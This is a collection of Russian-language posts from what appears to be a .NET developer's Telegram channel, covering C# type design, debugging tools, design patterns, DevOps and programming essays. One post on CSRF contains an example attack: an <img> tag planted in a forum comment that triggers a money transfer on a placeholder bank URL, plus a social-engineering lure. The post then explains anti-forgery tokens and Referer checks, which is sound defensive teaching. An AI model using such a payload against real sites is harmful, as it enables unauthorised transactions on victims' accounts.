.NET Разработчик
6.51K subscribers
427 photos
2 videos
14 files
2.04K links
Дневник сертифицированного .NET разработчика.

Для связи: @SBenzenko

Поддержать канал:
- https://boosty.to/netdeveloperdiary
- https://patreon.com/user?u=52551826
- https://pay.cloudtips.ru/p/70df3b3b
Download Telegram
День триста девяносто первый. #MoreEffectiveCSharp
3. Использование значимых и ссылочных типов
Вы должны решить, как будут вести себя все экземпляры вашего типа. Это важное решение, которое нужно принять при создании, потому что изменение структуры на класс может поломать довольно много кода самым непредсказуемым образом.

Правильный выбор зависит от того, как вы собираетесь использовать новый тип. Структуры не полиморфны, они должны быть небольшими и лучше подходят для хранения данных, которыми манипулирует приложение. Классы могут быть полиморфными, формируют иерархию типов приложения и должны использоваться для определения поведения приложения. Подумайте об ожидаемых обязанностях вашего нового типа и, исходя из этого, решите, какой тип создать.

Например, тип используется как возвращаемое значение из метода:
private MyData myData;
public MyData Foo() => myData;
MyData v = Foo();
TotalSum += v.Value;
Если MyData — значимый тип, содержимое возврата копируется в переменную v. А если MyData — ссылочный тип, то экспортируется ссылка на внутреннюю переменную. Вы нарушаете принцип инкапсуляции, что может позволить клиентам изменять объект по ссылке, обходя ваш API. Другой вариант:
public MyData Foo2 () => myData.CreateCopy();
Теперь v — это копия исходных данных myData. В куче создаются два объекта. Исчезла проблема раскрытия внутренних данных, но мы создали дополнительный объект в куче. В общем, это неэффективно. Типы, которые используются для экспорта данных с помощью открытых методов и свойств, должны быть значимыми типами.

Теперь немного подробнее рассмотрим, как эти типы хранятся в памяти, а также вопросы производительности, связанные с моделями хранения:
public class C {
private MyType a = new MyType();
private MyType b = new MyType();

}
C c = new C();
Сколько объектов создано? Насколько они большие? Это зависит. Если MyType — структура, выделен один объект, размер которого в два раза больше размера MyType. А если MyType — класс, выделено 3 объекта: для типа C (8 байт в 32-разрядной системе) и 2 для типа MyType. Разница возникает из-за того, что структуры хранятся внутри объекта, а каждая переменная ссылочного типа содержит ссылку, и требует выделения дополнительного места в хранилище. Это особенно важно, если вы собираетесь выделить место под массив. Массив структур выделится за 1 раз, массив ссылочных типов изначально будет заполнен null, но потребует дополнительного выделения места под каждый элемент при его инициализации.

Решение использовать структуру или класс является очень важным. Изменение структуры на класс в готовом коде влечёт за собой неприятные последствия. Допустим вы создали структуру работника, хранящую размер заработной платы. Затем вы решаете, что могут быть разные классы сотрудников: продавцы получают комиссионные, а менеджеры получают бонусы. Вы решаете изменить структуру на класс. Это нарушит большую часть клиентского кода, использующего структуру. Возврат по значению становится возвратом по ссылке. Параметры, которые передавались по значению, теперь передаются по ссылке. Помимо хранения элементов данных, которые определяют сотрудника, вы добавили обязанности: расчёт зарплаты. Обязанности — это ответственность классов. Классы могут легко определять полиморфные реализации общих обязанностей; структуры должны ограничиваться хранением значений.

Документация по .NET рекомендует рассматривать размер типа как определяющий фактор между типами значений и ссылочными типами. На самом деле, гораздо лучшим фактором является способ использования типа. Если вы ответите «да» на все эти вопросы, создавайте структуру:
1. Основная обязанность типа - хранение данных?
2. Можно ли сделать этот тип неизменяемым?
3. Ожидается, что тип будет маленьким?
4. Открытый интерфейс типа содержит только свойства для доступа к данным?
5. У типа никогда не будет подклассов?
6. Тип никогда не будет использоваться полиморфно?
Если вы сомневаетесь относительно ожидаемого использования типа, используйте ссылочный тип.

Источник: Bill Wagner “More Effective C#”. – 2nd ed. Глава 4.
День триста девяносто второй. #DebuggingTools
10 основных инструментов отладки в .NET. Начало (1-4)
Когда дело доходит до отладки, чрезвычайно важны правильные инструменты. Правильный инструмент => правильная информация => лёгкий поиск причины проблемы => быстрое исправление ошибки.

Помимо обычных проблем в коде, следующие инструменты помогают найти другие типы проблем:
- С производительностью
- С памятью (перегрузка GC и утечки памяти)
- Со сторонними библиотеками
- В продакшн среде
- С сетью

1. Visual Studio
Основным инструментом отладки является Visual Studio. Она имеет массу функций, включая различные окна инструментов, параметры исключений, всплывающие подсказки и многое другое. Microsoft удалось включить как базовые, так и расширенные функции в интуитивно понятную программу, что сделало Visual Studio второй по популярности IDE для всех разработчиков согласно опросу StackOverflow 2019 года.
Помимо интерактивной (традиционной) отладки, VS включает в себя множество других инструментов анализа:
- Профилирование производительности
- Профилирование памяти
- Историческая отладка с IntelliTrace
- Облачная отладка (как часть Cloud Explorer)
Хотя некоторые из следующих инструментов могут быть предпочтительнее.

2. dnSpy
dnSpy - один из самых полезных инструментов для отладки в .NET. Это хороший декомпилятор, но его основное применение - отладчик. dnSpy позволяет отлаживать любую сборку .NET независимо от наличия символов или исходного кода.
Этот инструмент выглядит и ведёт себя как Visual Studio. Когда вы начинаете отладку процесса .NET без символов или исходного кода, dnSpy показывает вам декомпилированный код. А дальше начинается волшебство: вы можете поместить точки останова в сам декомпилированный код. При достижении этих точек останова вы увидите локальные переменные, потоки, стек вызовов и получите полноценный опыт отладки. Это делает dnSpy одним из лучших инструментов для отладки стороннего кода и производственной среды. Он легкий и не требует установки. Просто скопируйте папку на любой продакшн сервер и начните отладку.
Тут есть небольшая хитрость. Если вы запустите процесс с помощью dnSpy, всё будет работать хорошо. Но если вы подключитесь к запущенному процессу, модули, которые уже были загружены, останутся оптимизированными (как если бы они были собраны в режиме «Release»). Когда код оптимизирован, некоторые точки останова не будут достигаться, а некоторые локальные переменные не будут показываться. Это сильно ухудшит отладку. Просто перезапустите процесс с помощью dnSpy, а не присоединяйтесь к нему.

3. dotPeek
dotPeek - это бесплатный .NET-декомпилятор от JetBrains. Он выделяется среди других по двум причинам:
- Лучший пользовательский опыт: он выглядит и ощущается как ReSharper.
- Он может создать сервер символов из любой сборки, даже не имея символов или исходного кода. В этом он похож на dnSpy: он декомпилирует код и создает из него символы. С помощью dotPeek Visual Studio может отлаживать любой сторонний код, как dnSpy.

4. dotTrace
dotTrace - ещё один инструмент от JetBrains - профилировщик производительности. dotTrace позволяет «записать» выполнение приложения, а затем проанализировать производительность записи. Вы сможете увидеть, сколько времени было потрачено на каждый из вызванных методов, на запросы к базе данных, запросы HTTP, на сборку мусора и так далее.
На картинке ниже показан краткий анализ записи работы Visual Studio. Вы можете видеть, что ShowWindow занял 155 мс, включая методы HwndSourceHook (42 мс), Convert (16 мс) и так далее. Выполнение этого метода на 42% состоит из вызовов WPF, 20% кода пользователя, 11,5% ожиданий GC, 10% кода коллекций, 10% кода рефлексии и 5% системного кода. Неплохо, правда?
Сначала нужно потратить немного времени на обучение, но, как только вы к нему привыкнете, профайлинг станет очень простым.

Источник: Michael Shpilt - https://michaelscodingspot.com/
День триста девяносто третий. #DebuggingTools
10 основных инструментов отладки в .NET. Продолжение (5-7)
5. SciTech's .NET Memory Profiler
Профилировщик памяти - это ещё одна категория инструментов, которые необходимы для решения проблем с памятью: утечек памяти или снижения производительности от нагрузки на GC. Если у вас достаточно большое приложение, рано или поздно у вас возникнут проблемы с памятью.
Профилировщик памяти может сделать «снимок памяти» и позволить вам исследовать его. Вы увидите, какие объекты занимают больше всего памяти, кто ссылается на них и почему они не были собраны сборщиком мусора. Сравнивая два снимка, вы можете обнаружить утечки памяти.
Доступно несколько профилировщиков памяти, но SciTech .NET Memory Profiler, по-моему, самый мощный и имеет меньше всего проблем.

6. OzCode
OzCode - это уникальное расширение Visual Studio. Его единственная цель - помочь вашей интерактивной отладке. OzCode имеет большой набор функций, которые можно разделить на 4 части:
- Heads-up display - добавляет некоторые полезные функции визуализации во время отладки, например, выделение красным/зелёным и отображение выбранных свойств объекта или разбиение выражения на части.
- Отладка LINQ - LINQ отлично подходит для написания кода, но его очень сложно отлаживать. OzCode позволяет исследовать выражения LINQ во время отладки практически без проблем.
- DataTip - это всплывающее окно, которое появляется при наведении на переменные в Visual Studio. OzCode заменяет это окно собственным, усовершенствованным, которое имеет опции «любимых» свойств, поиска, экспорта в JSON и т.п.
- Time Travel - в 4 версии добавлена ​​новая революционная функция отладки. OzCode может предсказать будущее без перемещения точки останова. То есть вы сможете увидеть, что происходит в строке кода, которая находится после вашей текущей позиции отладки. Эта функция работает не во всех случаях. Например, OzCode не может предсказать такие вещи, как результаты HTTP-запроса или SQL-запросы, потому что для этого он должен их выполнить.

7. SysInternals
Sysinternals - это набор утилит для устранения неполадок и мониторинга программного обеспечения Windows. Он включает в себя некоторые из наиболее важных инструментов, которые нам нужны для отладки. Лучше всего скачать весь пакет и сохранить его где-нибудь, для лёгкого доступа из командной строки, например C:\Sysinternals. Вот несколько наиболее важных для .NET инструментов:

Process Explorer
Похож на диспетчер задач Windows на стероидах. Он имеет множество функций, полезных для отладки:
- Просмотр загруженных модулей
- Просмотр хэндлеров
- Создание дампов
- Просмотр дерева процессов
- Просмотр счётчиков производительности

Process Monitor, также известный как ProcMon.
Позволяет отслеживать события активности процессов. В частности, вы можете видеть события доступа к реестру, файлам, сети, активность потоков и события профилирования. Если вы хотите узнать, какие файлы или значения реестра были затронуты вашим процессом, то ProcMon вам поможет.

ProcDump
Это инструмент командной строки для сохранения дампов. Он может генерировать дампы по требованию или по триггерам. Вот некоторые из вариантов создания дампов:
- немедленно
- несколько дампов с определенными интервалами (например, 3х дампов с интервалом 5 секунд)
- при превышении порога нагрузки на CPU
- при зависании процесса
- при сбое
Подробнее о способах отладки по дампам в докладе Саши Гольдштейна на DotNext 2015 Moscow.

Источник: Michael Shpilt - https://michaelscodingspot.com/
День триста девяносто четвёртый. #DebuggingTools
10 основных инструментов отладки в .NET. Окончание (8-10)
8. Performance Monitor (PerfMon)
В Windows есть встроенные механизмы, которые называются счетчиками производительности. Они позволяют вам следить за множеством полезных показателей того, что происходит на компьютере. Это могут быть метрики для всей системы или для конкретного процесса. Вот несколько примеров того, что вы можете измерить с их помощью:
- Использование процессора
- Использование памяти
- Количество исключений выброшенных в процессе
- Скорость чтения/записи ввода-вывода
- Количество запросов к вашему приложению ASP.NET
- Время ответа на запрос вашего приложения ASP.NET
Есть тысячи различных счетчиков, которые вы можете отслеживать. Например, если вы хотите узнать об использовании памяти процессом, есть счетчики собственной памяти, виртуальной памяти, занятой памяти, количества сборок мусора в поколении X, процента времени GC, размера кучи больших объектов и многое другое.
Performance Monitor - это инструмент, который позволяет визуализировать эти счетчики (хотя есть и другие инструменты). Он предустановлен в Windows. Чтобы запустить его, просто наберите «Performance Monitor» в меню «Пуск» или perfmon в командной строке.

9. PerfView
PerfView - это инструмент анализа общего назначения с открытым исходным кодом. Он имеет множество функций, например:
- Профилирование производительности
- Профилирование памяти
- Анализ событий ETW
- Импорт снимков производительности из Linux
- Различные отчёты о поведении приложений, включая время компиляции JIT, время сборки мусора и другие
Его анализ основан на событиях Трассировки Событий для Windows (ETW). Это встроенная система ведения журналов, которая чрезвычайно быстра и используется всеми частями Windows. Все процессы регистрируют события в ETW, включая ядро, ОС Windows, среду выполнения CLR, IIS, инфраструктуру ASP.NET, WPF и т.д.
PerfView - самый сложный инструмент в этом списке, но очень мощный. На Channel 9 есть видеокурс по использованию PerfView.

10. Fiddler
Fiddler - бесплатный инструмент от Progress Telerik для отладки сетевых вызовов. Он захватывает все HTTP-запросы, регистрирует данные и отправляет запрос дальше по назначению. Для каждого запроса вы можете увидеть его прогресс, заголовки, полезную нагрузку, ответ, статус.
Для отладки Fiddler имеет несколько полезных функций:
- Повторение запроса - вы можете щёлкнуть правой кнопкой мыши на любом запросе и нажать «Replay», что снова отправит точно такой же запрос. Это полезно при устранении неполадок на стороне сервера. Если вы хотите воспроизвести проблемный запрос, Fiddler избавит вас от необходимости повторного запуска сценария на клиенте для повторной отправки того же запроса. Это также помогает с запросами, которые трудно воспроизвести.
- Редактирование и воспроизведение запросов - Fiddler позволяет не только воспроизводить запросы, но и изменять их. Вы можете изменить заголовки, тело и даже URL. Вы можете использовать его, чтобы увидеть, как ваша серверная сторона справляется с пограничными случаями. Или для воспроизведения проблемы, которая происходит при конкретном запросе.

Не вошедший в топ. WinDbg
WinDbg раньше был основным средством отладки для Windows, как сейчас Visual Studio для .NET. Сейчас он не так актуален, по крайней мере для разработки в .NET. В Visual Studio вы можете делать практически всё, и это будет проще и быстрее. Однако кое в чём WinDbg всё ещё лучше, например, его возможности сценариев, простой удалённый доступ и удобная отладка в продакшн среде. Вы можете скопировать WinDbg на продакшн и довольно быстро исследовать файлы дампов. Он не требует долгой установки, как Visual Studio. Однако лично я всегда копирую файлы дампа на мою машину и открываю их с помощью профилировщика памяти или Visual Studio. Это просто более эффективно. Таким образом, мой вердикт заключается в том, что WinDbg больше не является важным инструментом отладки для разработки в .NET.

Источник: Michael Shpilt - https://michaelscodingspot.com/
День триста девяносто пятый. #Оффтоп #97Вещей
97 Вещей, Которые Должен Знать Каждый Программист
28. Позвольте трупу упасть
Однажды я предложил коллегам шутливую викторину: напишите программу, которая при помощи множества конструкций try…catch по всему коду ни за что не даёт программе завершиться аварийно. Результат мы назвали «труп, не падающий потому, что он прибит гвоздями к стене». Несмотря на легкомысленность примера, он основан на горьком опыте.

У нас был базовый класс в нашей собственной библиотеке C++. На протяжении многих лет он страдал от рук многих программистов (и мало у кого руки росли из нужного места). Класс содержал код для обработки всех возможных исключений из всех возможных мест. Мы решили (нет, скорее, убедили себя, потому что «решение» предполагает обдумывание, чем мы не занимались, когда создавали этого монстра), что экземпляр нашего класса, как Йоссариан из «Уловки-22», должен жить вечно или умереть в попытках это сделать.

Для этого мы сплели сеть из множества обработчиков исключений. Мы смешали в кучу как «родные» обработчики, так и обработчики Windows. Когда что-то неожиданно падало, мы пытались вызвать обработчики снова, сильнее ограничивая параметры. Оглядываясь назад, мне нравится сравнивать написание конструкций try…catch, вложенных в другие блоки catch, с решением свернуть с широкой дороги проверенных практик на манящую, но опасную для здоровья узкую тропинку безумия. Однако, это уже «умная мысля опосля».

Излишне говорить, что, когда что-то ломалось в приложениях, основанных на этом классе, ошибки пропадали, как жертвы мафии в суде, не оставляя улик, указывающих на то, что же, чёрт возьми, произошло, несмотря на процедуры логирования и дампы, которые должны были вызываться для записи поломки. В конце концов – много времени спустя - мы посмотрели на то, что мы натворили, и нам стало стыдно. Мы заменили весь этот хаос на краткий и надёжный механизм сообщения об ошибках. Но произошло это после многих и многих сбоев, оставшихся необнаруженными.

Я не стал бы об этом писать – вряд ли кто-то может быть таким же глупым, как мы, - если бы не недавний онлайн-спор с парнем, академическая должность которого намекала на то, что он кое-что должен понимать. Мы обсуждали код Java в удалённой транзакции. «Если код терпит неудачу», - утверждал он, - «он должен перехватить исключение на месте и не пробрасывать его наружу». «И что с ним сделать?» - спросил я. - «Приготовить его на ужин?»

Он процитировал правило дизайнеров пользовательского интерфейса: «НИКОГДА НЕ ПОЗВОЛЯЙТЕ ПОЛЬЗОВАТЕЛЮ ВИДЕТЬ СООБЩЕНИЕ ОБ ОШИБКАХ», - видимо, не задумываясь о том, что капс и «никогда» – это не самые лучшие аргументы. Я спросил, не он ли писал софт для банкоматов, «синий экран» которых так любят фоткать и выкладывать в сеть, за что был забанен.

Источник: https://www.oreilly.com/library/view/97-things-every/9780596809515/
Автор оригинала – Verity Stob
День триста девяносто шестой. #Оффтоп
Вопросы и ответы с Робертом Грином: Разработка с помощью Visual Studio и Azure DevOps
Разработчики, плохо знакомые с методологией DevOps, могут не знать о её преимуществах, таких как более частые релизы, снижение частоты сбоев и более быстрые исправления ошибок. Команды разработчиков, и даже отдельные программисты, могут использовать концепции гибкой разработки, непрерывной интеграции и непрерывной доставки (CI/CD) при создании ПО. Независимый консультант Роберт Грин в интервью Visual Studio Magazine рассказал о его видении DevOps.

- Что бы вы хотели, чтобы каждый разработчик в первую очередь понимал о методах DevOps?
- Практики DevOps в основном направлены на то, чтобы непрерывно приносить пользу вашим конечным пользователям. Представьте две команды разработчиков ПО. Клиенты находят ошибку в новой версии продукта. Команда А говорит, что придётся ждать ежеквартального пакета обновлений с исправлением. Команда B говорит им, что её исправят сегодня, а обновление выйдет в ближайшее время. Клиенты хотят иметь возможность сортировать список по дате, а потом по сумме. Команда А говорит, что нужно ждать следующего полугодового обновления. Команда B говорит, что включат опцию в следующее еженедельное обновление функционала. Практики DevOps помогают вам больше походить на команду B, создавать лучший продукт и быстрее доставлять его клиентам.

- Какие 1-3 лучшие методики DevOps вы считаете наиболее важными для разработчиков?
- Управление версиями. Конвейер непрерывной интеграции (сборки). Конвейер постоянной доставки. Они автоматизируют большую часть работы, которую вам приходится выполнять вручную. Рассмотрим следующий процесс:
1. Вы загружаете код в систему контроля версий.
2. Выполняется полный набор юнит-тестов.
3. Если они проходят, приложение развёртывается на двух тестовых серверах, один из которых запускает автоматические тесты UI, а другой специфические тесты.
Если вы настроите конвейер CI/CD, все процессы после загрузки кода происходят автоматически и каждый раз одинаково. Это экономит ваше время, снижает количество ошибок, и, следовательно, вы сможете быстрее доставлять обновления.

- Насколько DevOps помогает командам разработчиков переосмыслить свои процессы?
- Первое, что нужно переосмыслить, это частоту выпусков обновлений (спринтов). Ежедневно для ошибок и еженедельно для функционала? Еженедельно для ошибок и ежемесячно для функционала? Какая частота удовлетворит ваших клиентов и оставит довольными разработчиков? Как только вы определитесь с темпом выпуска, нужно научиться управлять количеством работы в каждом выпуске. Со временем вы будете всё лучше и лучше его оценивать, и тогда вы сможете прогнозировать, какие функции и когда будут добавлены в продукт.

- Был ли DevOps раньше и почему он получил такое внимание сейчас?
- Я уверен, что у него было много имен. Разработчикам в Visual Studio может быть знакомо понятие ALM (Application Lifecycle Management). Сейчас клиенты ожидают более частых исправлений ошибок и добавлений новых функций. Приложения на наших телефонах обновляются часто и регулярно, Windows и Visual Studio тоже. Если вы не можете предоставлять достаточно частые обновления, вы рискуете потерять уважение и доверие ваших клиентов.

- Как службы Azure помогают осуществлять DevOps на практике?
- Службы Azure DevOps предоставляют интерфейс для планирования (создания резервных копий, отслеживания ошибок, управления спринтами, отслеживания прогресса), разработки (записи, тестирования, проверки и сборки) кода, доставки (выпуска для тестирования, подготовки, продакшена) и эксплуатации (мониторинга и устранения неполадок).

- Являются ли методы DevOps действительно важными для разработчиков?
- Я думаю, да. И несложно начать их использовать.

Источник: https://visualstudiomagazine.com/articles/2020/02/24/devops-qa.aspx
День триста девяносто седьмой. #DesignPatterns
Паттерны проектирования
14. Паттерн «Адаптер» (Adapter)
Адаптер является одним из тех паттернов проектирования, которые мы используем, почти не задумываясь. Диаграмма классов этого паттерна настолько общая, что практически любую композицию объектов можно считать примером использования адаптеров.

Назначение: преобразует интерфейс одного класса в интерфейс другого, который ожидают клиенты. Адаптер делает возможной совместную работу классов с несовместимыми интерфейсами.

Причины использования:
Далеко не все системы обладают прекрасным дизайном. Даже если модуль или приложение были хорошо продуманы изначально, внесение изменений разными разработчиками в течение длительного времени может привести к неприятным последствиям. Одно из таких последствий — рассогласованность реализации однотипных задач. Адаптер — это клей, который связывает воедино два мира путем подгонки текущих классов к требуемому интерфейсу.

Классическая диаграмма приведена на рисунке ниже:
- Target — целевой интерфейс, к которому нужно преобразовать интерфейс существующих классов;
- Adaptee — существующий класс, чей интерфейс нужно преобразовать;
- Adapter — класс-адаптер, который преобразует интерфейс адаптируемого класса к целевому;
- Client — клиенты нового интерфейса, которые работают с адаптированными классами полиморфным образом.

Варианты применения:
- Повторное использование чужого кода. В некоторых случаях у нас уже есть код, который решает нужную задачу, но его интерфейс не подходит для текущего приложения. Вместо изменения кода библиотеки можно создать слой адаптеров.
- Адаптивный рефакторинг. Адаптеры позволяют плавно изменять существующую функциональность путем выделения нового «правильного» интерфейса, но с использованием старой проверенной функциональности.

Адаптивный рефакторинг
В некоторых случаях адаптеры могут упростить эволюцию дизайна и рефакторинг. Предположим, что у нас есть иерархия классов, которую мы хотим модифицировать. Можно переписать все классы иерархии, но можно пойти более итеративным путём:
1. Проектируем новый интерфейс с набором нужных методов.
2. Создаём первую реализацию (адаптер), которая реализует интерфейс, но делегирует все операции старой реализации.
3. Переводим клиентов иерархии на использование нового интерфейса и проверяем, что клиенты работают нормально.
4. Создаем полноценную новую реализацию.
5. Удаляем адаптер и старую иерархию за ненадобностью.
Преимущество такого подхода в том, что изменения происходят постепенно, а не одним большим скачком.

Источник: Тепляков С. "Паттерны проектирования на платформе .NET." — СПб.: Питер, 2015. Глава 12.
День триста девяносто восьмой. #Оффтоп
Сегодня хочу вам порекомендовать отличное видео выступления Билла Вагнера на NDC Conference в Лондоне в конце января. Тема выступления «Изменяйте ваши привычки: Современные техники в современном C#». Билл рассказывает о фишках последних версий языка C# и о том, как их можно использовать на практике, серьёзно сокращая код и упрощая его для понимания. Основные моменты выступления:
1. Использование кортежей для хранения связанных данных. Как кортежи могут упростить код небольшого класса.
2. Использование readonly членов и структур. Как яснее выразить свои намерения в коде и одновременно помочь компилятору создать более эффективный код.
3. Обнуляемые ссылочные типы. Как аннотации #nullable всё больше распространяются по коду в том числе стандартных библиотек, и как они помогают сокращать код и ловить самый распространённый вид ошибок – NullReferenceException.
4. Использование дискардов и продвинутого сопоставления с шаблоном. Также в некоторых случаях позволяет серьёзно сократить код.

Основные выводы из доклада:
- Используйте лучшие практики в своих приложениях.
- Когда код кажется слишком громоздким, поищите новые функции и рекомендации. Например, посмотрите более свежие ответы на stackoverflow, a не самые залайканные, которые могут быть 10-летней давности.
Бонус: рассмотрите советы Visual Studio, обозначенные лампочкой или отвёрткой.

ЗЫ: про английский не стоит напоминать, правда?)))

Источник: https://www.youtube.com/watch?v=aUbXGs7YTGo
День триста девяносто девятый. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
2. Cross-Site Request Forgery (CSRF)
Подделка межсайтовых запросов (CSRF или XSRF) немного более сложная, чем XSS. Рассмотрим случай XSS + Confused Deputy. Проблема Confused Deputy заключается в подозрительном доверии приложений к принимаемым данным. Атаке подвергается ваш браузер, которого обманом заставляют представлять вас на удалённом веб-сайте.
Например, вы обнаружили уязвимость для XSS на «Популярном Сайте». Кроме того, допустим, что один «Крупный Банк» предлагает простой способ перевода денег онлайн с указанием параметров в URL:
https://bank.example.com?function=transfer&amount=1000&toaccount=23234554333&from=checking
Это может показаться чрезвычайно глупым. Какой банк в здравом уме так сделает? К сожалению, ответ на этот вопрос: «тысячи их» (с). Причина довольно проста: веб-разработчики слишком сильно доверяют браузеру, а публичность URL-адреса основана на том, что запрос может выполняться «скрыто» через AJAX, а сервер будет проверять личность пользователя, используя информацию из cookie-файла сеанса.

Дальше немного социальной инженерии. Вы заходите на «Популярный Сайт» и оставляете пост:
Эй, а знаете ли вы, что у клиентов «Крупного Банка» сумма цифр номера счета равняется 30? Смотрите сами: https://bank.example.com
Затем вы входите под другим аккаунтом, оставляя комментарий вроде:
Фигасе, ты прав! Как странно! <img src="https://bank.example.com?function=transfer&amount=1000&toaccount=23234554333&from=checking" />.

Штука в том, чтобы заставить клиентов «Крупного Банка» войти в аккаунт и попытаться сложить цифры счёта. Когда они увидят, что это не работает, они возвращаются на «Популярный Сайт», чтобы снова прочитать пост или оставить гневный комментарий. К сожалению для «идеальной жертвы», её браузер все ещё хранит сеанс входа в онлайн-банк. Когда она попадает на страницу с атакой CSRF, запрос отправляется на веб-сайт банка (где личность жертвы установлена), и вуаля! - жертва лишилась денег.
Изображение в комментарии (со ссылкой CSRF) не будет отображено, и большинство людей будут думать, что это просто плохой аватар или смайлик. Но на самом деле, это удалённый вызов страницы.
Другой вариант: попытаться завлечь пользователя на страницу, внутри которой будет скрытый iframe, выполняющий аналогичный удалённый вызов (в том числе POST).

Предотвращение атак CSRF
1. Проверка токенов
Заключается в проверке того, что пользователь, отправивший данные на ваш сайт, сделал это добровольно. Самый простой способ сделать это – добавить скрытое поле с уникальным значением. Вы можете сделать это с помощью HTML помощника:
@Html.AntiForgeryToken()
Это добавит скрытое поле:
<input type="hidden" value="012837udny31w90hjhf7u" />
То же значение сохраняется в сессии и проверяется в методе обработки формы с помощью фильтра метода действия:
[ValidateAntiforgeryToken]
public ActionResult Register(…)

2. Идемпотентный GET
Вы можете предотвратить целый класс CSRF-атак, ограничив изменения на вашем сайте только запросами POST. Это включает регистрацию, вход/выход из системы и т.п. Подробнее о методах GET и POST.

3. Проверка HttpReferrer
Проверку HttpReferrer также можно реализовать с помощью создания фильтра метода действия:
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute {
public override void OnAuthorize(AuthorizationContext filterContext) {
if (filterContext.HttpContext != null) {
if (filterContext.HttpContext.Request.UrlReferrer == null)
throw new System.Web.HttpException("Неверная отправка");
if (filterContext.HttpContext.Request.UrlReferrer.Host != "mysite.com")
throw new System.Web.HttpException("Форма отправлена не с этого сайта!");
}
}
}
Использование:
[IsPostedFromThisSite]
public ActionResult Register(…)

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
День четырёхсотый. #MoreEffectiveCSharp
5. Убедитесь, что 0 является допустимым состоянием для значимых типов
Инициализация по умолчанию в .NET устанавливает все значения в 0. Невозможно запретить другим программистам создавать экземпляр значимого типа со значениями по умолчанию. Сделайте 0 значением по умолчанию для типа.

Особый случай - перечисления. Никогда не создавайте перечисление, которое не содержит 0 в качестве допустимого значения:
public enum Planet
{
// Явно назначенные значения
// По умолчанию начинаются с 0
Mercury = 1,
Venus = 2,
Earth = 3,

}
Planet sphere = new Planet();
var anotherSphere = default(Planet);
И sphere, и anotherSphere имеют значение 0, которое не является допустимым. Любой код, предполагающий, что перечисления ограничены определённым набором значений, возможно, будет работать неверно.

Кроме того, это влияет на объекты, содержащие перечисление:
public struct PlanetData
{
private Planet planet;
private double magnitude; //яркость
}
var data = new PlanetData();
data имеет яркость 0, что нормально, но значение планеты недопустимое.

По возможности выберите наилучшее значение по умолчанию для 0, либо добавьте специальное неинициализированное значение None = 0, которое можно будет изменить позже.
Для перечислений, являющихся битовыми флагами, убедитесь, что 0 является действительным значением и означает «отсутствие всех флагов». Подробнее о битовых флагах.
⚠️ Перечисления - лишь обёртка для набора целочисленных констант. Если это не обеспечивает нужную вам абстракцию, следует рассмотреть возможность использования другой конструкции языка.

Другая распространённая проблема состоит в инициализации ссылочных полей структур:
public struct LogMessage
{
public int ErrLevel;
public string Message;
}
LogMessage myMsg = new LogMessage();
myMsg содержит null в поле Message. Невозможно принудительно инициировать поле другим значением, но можно локализовать проблему, используя свойства. Добавьте логику в свойство, чтобы возвращать пустую строку вместо null:
public struct LogMessage
{
public int ErrLevel;
private string msg;
public string Message
{
get => msg ?? string.Empty;
set => msg = value;
}
}
Используйте свойство и в коде типа. Это позволит локализовать проверку на null в одном месте. Аксессор свойства почти наверняка будет встроен при компиляции, поэтому вы получите эффективный код и сведёте к минимуму ошибки.

Источник: Bill Wagner “More Effective C#”. – 2nd ed. Глава 5.
День четыреста первый. #Оффтоп #97Вещей
97 Вещей, Которые Должен Знать Каждый Программист
29. Не надейтесь на магию
Если вы наблюдаете за какой-то деятельностью или процессом со стороны, может показаться, что всё просто. Менеджеры без опыта разработки думают, что программировать просто, а программисты без опыта управления так же думают о работе менеджеров.

Самая сложная часть программирования - размышления - наименее заметна и меньше всего ценится непосвященными. За десятилетия разработки было много попыток убрать из процесса потребность в этом особом мышлении. Одной из самых ранних и запоминающихся является попытка Грейс Хоппер создать более понятный язык программирования, что, по мнению некоторых, должно было вообще снять потребность в специальности «Программист». Результат (язык COBOL) внёс существенный вклад в привлечение в отрасль новых программистов в последующие десятилетия.

Настойчивые попытки упростить разработку ПО так, чтобы вообще сделать программистов ненужными, для тех программистов, кто понимает, что из себя представляет процесс на самом деле, кажутся весьма наивными. Но мыслительный процесс, приводящий к таким ошибочным суждениям, является частью человеческой природы, и программисты склонны рассуждать так же, как и все остальные.

В любом проекте, вероятно, есть много вещей, в которых отдельный программист не принимает непосредственного участия: формирование требований, утверждение бюджета, настройка сервера сборки, развёртывание для тестирования и сдача в эксплуатацию, миграция из старых бизнес-процессов или программных сред в новые и т. д.

Когда вы не принимаете активного участия в каком-то процессе, вы бессознательно предполагаете, что он прост и происходит «по волшебству». Пока «магия» работает, всё хорошо. Но когда (именно «когда», а не «если») магия прекращается, вот тут и начинаются проблемы.

Я видел, как проект терял недели разработки, потому что никто не понимал, насколько он зависим от «правильной» версии подгружаемой DLL. Когда начались проблемы, члены команды искали проблемы везде, прежде чем кто-то заметил, что загружается «неправильная» версия DLL.

Другой пример – отдел, который прекрасно работал: проекты выполнялись вовремя, никаких ночных сессий экстренной отладки, никаких срочных исправлений. Он работал настолько гладко, что высшее руководство решило, что всё просто работает само по себе, и отдел может обойтись без менеджера проекта. В течение полугода отдел стал такими же, как и остальные отделы компании: задержки, ошибки, экстренные исправления…

Вам не нужно понимать всю магию, которая заставляет ваш проект работать, но неплохо было бы разбираться хотя бы в некоторой её части и ценить тех, кто понимает то, чего не понимаете вы.

Самое главное, убедитесь, что, когда магия перестанет работать, кто-то знает, как «включить» её обратно.

Источник: https://www.oreilly.com/library/view/97-things-every/9780596809515/
Автор оригинала – Alan Griffiths
День четыреста второй. #DesignPatterns
Паттерны проектирования
15. Паттерн «Фасад» (Facade)
В большинстве приложений используется лишь часть функциональности сложной подсистемы. Паттерн «Фасад» позволяет сделать более простой интерфейс общения с ней, который максимально подходит для специфических сценариев приложения.

Назначение: предоставляет унифицированный интерфейс вместо набора интерфейсов некоторой подсистемы. Фасад определяет интерфейс более высокого уровня, который упрощает использование подсистемы.

Причины использования:
Библиотеки классов обычно предназначены для решения целого спектра задач. С помощью ADO.NET можно выполнять простые команды на стороне базы данных, а можно использовать транзакции и выходные (output) параметры хранимых процедур. Наличие сложных сценариев делает библиотеку полезной, но это же может усложнить решение с её помощью простых задач. Это приводит к появлению различных оболочек, упрощающих решение простых задач, или реализацию сценариев, специфичных для конкретного приложения. Такие оболочки являются фасадами, которые скрывают исходную сложность библиотеки или модуля за более простым и, возможно, специфичным для приложения интерфейсом.

Классическая диаграмма приведена на рисунке ниже:
